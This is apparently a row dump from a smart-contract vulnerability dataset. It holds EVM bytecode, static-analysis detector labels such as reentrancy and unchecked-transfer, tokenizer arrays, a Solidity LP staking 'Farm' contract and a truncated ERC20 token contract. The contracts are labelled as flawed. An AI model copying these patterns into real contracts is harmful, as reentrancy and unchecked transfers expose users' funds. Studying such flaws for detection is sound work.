13d1a565b6000614a45848487612992565b606a54909150614a5b908663ffffffff61307a16565b606a55607754614a71908a63ffffffff61307a16565b607755607a54614a87908663ffffffff61307a16565b607a55336000908152607f6020526040902054614aaa818763ffffffff61307a16565b336000818152607f6020526040902091909155614ac790826145fa565b600080614ad68c8c8c87610e33565b915091506000606c548c8b0381614ae957fe5b0490506076548110614b26576000614b108d8d8d10614b08578d614b0a565b8c5b8c612fab565b9050614b22848263ffffffff61313b16565b9350505b60408051848152602081018e90528082018c9052606081018b905290518f9133917f2ae77851d374757c0aeee19fd5d8f75edac9f1f52043fb96992607c2937314419181900360800190a350909c9b505050505050505050505050565b600061204e836001600160a01b038416614c81565b3b151590565b5490565b81546000908210614be45760405162461bcd60e51b8152600401808060200182810382526022815260200180614d846022913960400191505060405180910390fd5b826000018281548110614bf357fe5b9060005260206000200154905092915050565b614c0e614d65565b614c188383613c90565b80519091505b816001602002015161ffff168161ffff1610156135af5784608b61ffff831660058110614c4757fe5b6002810490910180546001600160801b0360106001948516026101000a808304821690950181168502940219169290921790915501614c1e565b60008181526001830160205260408120548015614d3d5783546000198083019190810190600090879083908110614cb457fe5b9060005260206000200154905080876000018481548110614cd157fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080614d0157fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612051565b6000915050612051565b6040518060a001604052806005906020820280368337509192915050565b6040518060400160405280600290602082028036833750919291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e7443616c6c6572206973206e6f7420612065787465726e616c207374616b6572005354414b494e473a204d61782053686172652055706772616465202d205374616b65206d757374206265206c657373207468656e206d6178207368617265206d617820646179735374616b696e673a205374616b652077697468647261776e206f72206e6f74207365745374616b696e673a205374616b696e672064617973203c2031000000000000005354414b494e473a204d6178205368617265206576656e74206973206e6f7420616374697665416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b6543616c6c6572206973206e6f742061206d616e616765720000000000000000005374616b696e673a205374616b652077697468647261776e00000000000000005354414b494e473a204e65772073686172657320617265206e6f742067726561746572207468656e2070726576696f757320736861726573436f6e7472616374206973207061757365640000000000000000000000000000496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775374616b696e673a205374616b696e672064617973203e2035353535000000005354414b494e473a204163636f756e7420616c726561647920726567697374657265642e5354414b494e473a2055736572206d757374206265206d616e61676572206f72206d69677261746f725354414b494e473a205374616b652077697468647261776e206f72206e6f7420736574416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a26469706673582212200da3cc114603866f7fdbce18a497568af41ac98e688e0fe4295cdc6fa2a61d3464736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 16086, 2094, 2683, 2629, 2063, 22932, 2063, 2575, 2581, 2549, 20952, 2683, 19317, 2278, 2509, 2497, 14141, 2549, 16409, 2549, 2050, 2620, 26337, 2094, 2575, 2683, 2063, 17914, 2692, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2423, 1026, 1014, 1012, 1021, 1012, 1014, 1025, 12324, 1005, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 8785, 1013, 3647, 18900, 6979, 26952, 13662, 3085, 1012, 14017, 1005, 1025, 12324, 1005, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 8785, 1013, 8785, 6279, 24170, 3085, 1012, 14017, 1005, 1025, 12324, 1005, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,798
0x976104465656f6cd2b2c65078535b6714cb5ad14
pragma solidity ^0.6.0; import "./IERC20.sol"; import "./SafeMath.sol"; import "./Ownable.sol"; contract Farm is Context, Ownable { using SafeMath for uint; uint256 public roi; uint256 private percentage; uint256 public startBlock; uint256 public endBlock; bool active; IERC20 public LPtoken; IERC20 public STBU; mapping (address => uint256) public balance; struct stakeHolder { uint256 _roi; uint256 share; uint256 calcBlock; uint256 availableButNotClaimed; uint256 totalClaimed; } uint256 public defaultStakePerBlock; mapping(address => stakeHolder) public holders; event LogClaim(address, uint256); constructor(address _LP, address _STBU) public { LPtoken = IERC20(_LP); STBU = IERC20(_STBU); roi = 10**8; percentage = 10**8; uint256 stake = 10**18; defaultStakePerBlock = stake.mul(220).div(100); } /** * @dev Throws if contract is not active. */ modifier isActive() { require(active, "Farm: is not active"); require(endBlock >= block.number, "Farm: is closed"); _; } /** * @dev Activating the staking with start block. * Can only be called by the current owner. */ function ativate() public onlyOwner returns (bool){ startBlock = block.number; endBlock = startBlock.add(2296215); active = true; return true; } /** * @dev Deactivating the staking. * Can only be called by the current owner. */ function deactivate() public onlyOwner returns (bool) { active = false; require(STBU.transfer(owner(), STBU.balanceOf(address(this))), "Deactivation: transfer failure"); return true; } /** * @dev Pause/unpause the staking. * Can only be called by the current owner. */ function pause(bool _value) public onlyOwner returns (bool) { active = _value; return true; } /** * @dev Returns the share of the holder. */ function stakeholderShare(address hodler) public view returns (uint256) { uint256 hBalance = balance[hodler]; uint256 supply = LPtoken.balanceOf(address(this)); if (supply > 0) { return hBalance.mul(percentage).div(supply); } return 0; } /** * @dev Deposits the LP tokens. * Can only be called when contract is active. */ function depositLPTokens (uint256 _amount) public isActive { address from = msg.sender; address to = address(this); if (balance[from] > 0) { uint _staked = _calculateStaked(from); holders[from].availableButNotClaimed = _staked.add(holders[from].availableButNotClaimed); } require(LPtoken.transferFrom(from, to, _amount)); balance[from] = balance[from].add(_amount); _calculateHolder(from, roi); } /** * @dev Claim STBU reward. * Can only be called when contract is active. */ function claim () public isActive { address _to = msg.sender; _claim(_to); _calculateHolder(_to, roi); } /** * @dev Claim STBU reward and Unstake LP tokens. * Can only be called when contract is active. */ function claimAndUnstake () public isActive { address _to = msg.sender; uint _balance = balance[_to]; _claim(_to); balance[_to] = 0; require(LPtoken.transfer(_to, _balance), "LP: unable to transfer coins"); _calculateHolder(_to, roi); } /** * @dev Unstake LP tokens. * Can only be called when contract is active. */ function unstake(uint256 _amount) public isActive { address _to = msg.sender; uint _balance = balance[_to]; require(_balance >= _amount, "LP: wrong amount"); _claim(_to); balance[_to] = _balance.sub(_amount); require(LPtoken.transfer(_to, _amount), "LP: unable to transfer coins"); _calculateHolder(_to, roi); } /** * @dev Calcultae share and roi for the holder */ function _calculateHolder(address holder, uint256 _roi) internal { stakeHolder memory sH = holders[holder]; sH._roi = _roi; sH.share = stakeholderShare(holder); sH.calcBlock = block.number; holders[holder] = sH; } /** * @dev Send available reward to the holder */ function _claim(address _to) internal { uint _staked = _calculateStaked(_to); uint256 total = _staked.add(holders[_to].availableButNotClaimed); holders[_to].availableButNotClaimed = 0; holders[_to].totalClaimed = holders[_to].totalClaimed.add(total); require(STBU.transfer(_to, total)); emit LogClaim(_to, _staked); } /** * @dev Calculate available reward for the holder */ function _calculateStaked(address holder) internal view returns(uint256){ stakeHolder memory st = holders[holder]; uint256 currentBlock = block.number; uint256 amountBlocks = currentBlock.sub(st.calcBlock); if(currentBlock >= endBlock) { amountBlocks = endBlock.sub(st.calcBlock); } uint256 fullAmount = defaultStakePerBlock.mul(amountBlocks); uint256 _stakeAmount = fullAmount.mul(st.share).div(percentage).mul(st._roi).div(percentage); return _stakeAmount; } /** * @dev get base staking data */ function getStakerData(address _player) public view returns(address, uint256, uint256, uint256) { uint256 staked = _calculateStaked(_player); stakeHolder memory st = holders[_player]; return (_player, staked.add(st.availableButNotClaimed), st._roi, st.share); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806379d62d56116100ad578063c601f35211610071578063c601f352146103df578063e0fd9ed014610478578063e3d670d71461049a578063f2fde38b146104f2578063fa28f2e5146105365761012c565b806379d62d56146102d95780638da5cb5b1461032357806392ec13f21461036d578063ad004e201461038b578063c14cba3e146103955761012c565b806348cd4cb1116100f457806348cd4cb1146102675780634afdd0e7146102855780634e71d92d146102a357806351b42b00146102ad578063715018a6146102cf5761012c565b806302329a2914610131578063083c63231461017957806318a5bbdc146101975780632e17de781461020b57806341f264f114610239575b600080fd5b61015f6004803603602081101561014757600080fd5b8101908080351515906020019092919050505061058e565b604051808215151515815260200191505060405180910390f35b610181610662565b6040518082815260200191505060405180910390f35b6101d9600480360360208110156101ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610668565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b6102376004803603602081101561022157600080fd5b810190808035906020019092919050505061069e565b005b6102656004803603602081101561024f57600080fd5b8101908080359060200190929190505050610a1d565b005b61026f610dda565b6040518082815260200191505060405180910390f35b61028d610de0565b6040518082815260200191505060405180910390f35b6102ab610de6565b005b6102b5610efd565b604051808215151515815260200191505060405180910390f35b6102d7611206565b005b6102e1611374565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032b61139a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103756113c3565b6040518082815260200191505060405180910390f35b6103936113c9565b005b61039d6116c0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610421600480360360208110156103f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116e6565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390f35b6104806117b2565b604051808215151515815260200191505060405180910390f35b6104dc600480360360208110156104b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118aa565b6040518082815260200191505060405180910390f35b6105346004803603602081101561050857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118c2565b005b6105786004803603602081101561054c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ab5565b6040518082815260200191505060405180910390f35b6000610598611c1d565b73ffffffffffffffffffffffffffffffffffffffff166105b661139a565b73ffffffffffffffffffffffffffffffffffffffff161461063f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b81600560006101000a81548160ff02191690831515021790555060019050919050565b60045481565b60096020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154905085565b600560009054906101000a900460ff16610720576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4661726d3a206973206e6f74206163746976650000000000000000000000000081525060200191505060405180910390fd5b436004541015610798576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4661726d3a20697320636c6f736564000000000000000000000000000000000081525060200191505060405180910390fd5b60003390506000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610857576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4c503a2077726f6e6720616d6f756e740000000000000000000000000000000081525060200191505060405180910390fd5b61086082611c25565b6108738382611ecb90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561095f57600080fd5b505af1158015610973573d6000803e3d6000fd5b505050506040513d602081101561098957600080fd5b8101908080519060200190929190505050610a0c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4c503a20756e61626c6520746f207472616e7366657220636f696e730000000081525060200191505060405180910390fd5b610a1882600154611f15565b505050565b600560009054906101000a900460ff16610a9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4661726d3a206973206e6f74206163746976650000000000000000000000000081525060200191505060405180910390fd5b436004541015610b17576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4661726d3a20697320636c6f736564000000000000000000000000000000000081525060200191505060405180910390fd5b600033905060003090506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610c13576000610b748361203b565b9050610bcb600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301548261218790919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550505b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8383866040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610cf057600080fd5b505af1158015610d04573d6000803e3d6000fd5b505050506040513d6020811015610d1a57600080fd5b8101908080519060200190929190505050610d3457600080fd5b610d8683600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dd582600154611f15565b505050565b60035481565b60015481565b600560009054906101000a900460ff16610e68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4661726d3a206973206e6f74206163746976650000000000000000000000000081525060200191505060405180910390fd5b436004541015610ee0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4661726d3a20697320636c6f736564000000000000000000000000000000000081525060200191505060405180910390fd5b6000339050610eee81611c25565b610efa81600154611f15565b50565b6000610f07611c1d565b73ffffffffffffffffffffffffffffffffffffffff16610f2561139a565b73ffffffffffffffffffffffffffffffffffffffff1614610fae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600560006101000a81548160ff021916908315150217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61100f61139a565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156110ae57600080fd5b505afa1580156110c2573d6000803e3d6000fd5b505050506040513d60208110156110d857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561115257600080fd5b505af1158015611166573d6000803e3d6000fd5b505050506040513d602081101561117c57600080fd5b81019080805190602001909291905050506111ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f446561637469766174696f6e3a207472616e73666572206661696c757265000081525060200191505060405180910390fd5b6001905090565b61120e611c1d565b73ffffffffffffffffffffffffffffffffffffffff1661122c61139a565b73ffffffffffffffffffffffffffffffffffffffff16146112b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b600560009054906101000a900460ff1661144b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4661726d3a206973206e6f74206163746976650000000000000000000000000081525060200191505060405180910390fd5b4360045410156114c3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4661726d3a20697320636c6f736564000000000000000000000000000000000081525060200191505060405180910390fd5b60003390506000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061151582611c25565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561160357600080fd5b505af1158015611617573d6000803e3d6000fd5b505050506040513d602081101561162d57600080fd5b81019080805190602001909291905050506116b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4c503a20756e61626c6520746f207472616e7366657220636f696e730000000081525060200191505060405180910390fd5b6116bc82600154611f15565b5050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008060006116f78661203b565b9050611701612465565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060a00160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201548152505090508661179782606001518461218790919063ffffffff16565b82600001518360200151955095509550955050509193509193565b60006117bc611c1d565b73ffffffffffffffffffffffffffffffffffffffff166117da61139a565b73ffffffffffffffffffffffffffffffffffffffff1614611863576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b436003819055506118826223099760035461218790919063ffffffff16565b6004819055506001600560006101000a81548160ff0219169083151502179055506001905090565b60076020528060005260406000206000915090505481565b6118ca611c1d565b73ffffffffffffffffffffffffffffffffffffffff166118e861139a565b73ffffffffffffffffffffffffffffffffffffffff1614611971576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806124956026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611b9b57600080fd5b505afa158015611baf573d6000803e3d6000fd5b505050506040513d6020811015611bc557600080fd5b810190808051906020019092919050505090506000811115611c1157611c0881611bfa6002548561220f90919063ffffffff16565b61229590919063ffffffff16565b92505050611c18565b6000925050505b919050565b600033905090565b6000611c308261203b565b90506000611c89600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301548361218790919063ffffffff16565b90506000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550611d2881600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004015461218790919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040181905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611e1757600080fd5b505af1158015611e2b573d6000803e3d6000fd5b505050506040513d6020811015611e4157600080fd5b8101908080519060200190929190505050611e5b57600080fd5b7ffce6d5860f911bc27ece1365300332d2ddbe20c1adc46ee2eddd8f72c48053b28383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b6000611f0d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122df565b905092915050565b611f1d612465565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060a001604052908160008201548152602001600182015481526020016002820154815260200160038201548152602001600482015481525050905081816000018181525050611fae83611ab5565b8160200181815250504381604001818152505080600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040155905050505050565b6000612045612465565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060a0016040529081600082015481526020016001820154815260200160028201548152602001600382015481526020016004820154815250509050600043905060006120e1836040015183611ecb90919063ffffffff16565b90506004548210612108576121058360400151600454611ecb90919063ffffffff16565b90505b600061211f8260085461220f90919063ffffffff16565b9050600061217860025461216a876000015161215c60025461214e8b602001518961220f90919063ffffffff16565b61229590919063ffffffff16565b61220f90919063ffffffff16565b61229590919063ffffffff16565b90508095505050505050919050565b600080828401905083811015612205576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415612222576000905061228f565b600082840290508284828161223357fe5b041461228a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806124bb6021913960400191505060405180910390fd5b809150505b92915050565b60006122d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061239f565b905092915050565b600083831115829061238c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612351578082015181840152602081019050612336565b50505050905090810190601f16801561237e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808311829061244b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124105780820151818401526020810190506123f5565b50505050905090810190601f16801561243d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161245757fe5b049050809150509392505050565b6040518060a001604052806000815260200160008152602001600081526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220356e08a79cef95a841813bba4a7c415574427aa6ee7c504ccfa561eb89d6d25964736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 10790, 22932, 26187, 26187, 2575, 2546, 2575, 19797, 2475, 2497, 2475, 2278, 26187, 2692, 2581, 27531, 19481, 2497, 2575, 2581, 16932, 27421, 2629, 4215, 16932, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 3206, 3888, 2003, 6123, 1010, 2219, 3085, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 1025, 21318, 3372, 17788, 2575, 2270, 25223, 1025, 21318, 3372, 17788, 2575, 2797, 7017, 1025, 21318, 3372, 17788, 2575, 2270, 2707, 23467, 1025, 21318, 3372, 17788, 2575, 2270, 2203, 23467, 1025, 22017, 2140, 3161, 1025, 29464, 11890, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,799
0x976287CCB0C0f2b7bC0759c1CBaBa3c39571f648
pragma solidity ^0.4.24; //Safe Math Interface contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } //ERC Token Standard #20 Interface contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } //Contract function to receive approval and execute function in one call contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } //Actual token contract contract GSHIBToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "GSHIB"; name = "Galaxy Shiba Inu"; decimals = 8; _totalSupply = 1000000000000000000000; balances[0x52C9b5e27bacFb3cFaae4CF6f3BDE7048DdE03d2] = _totalSupply; emit Transfer(address(0), 0x52C9b5e27bacFb3cFaae4CF6f3BDE7048DdE03d2, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return 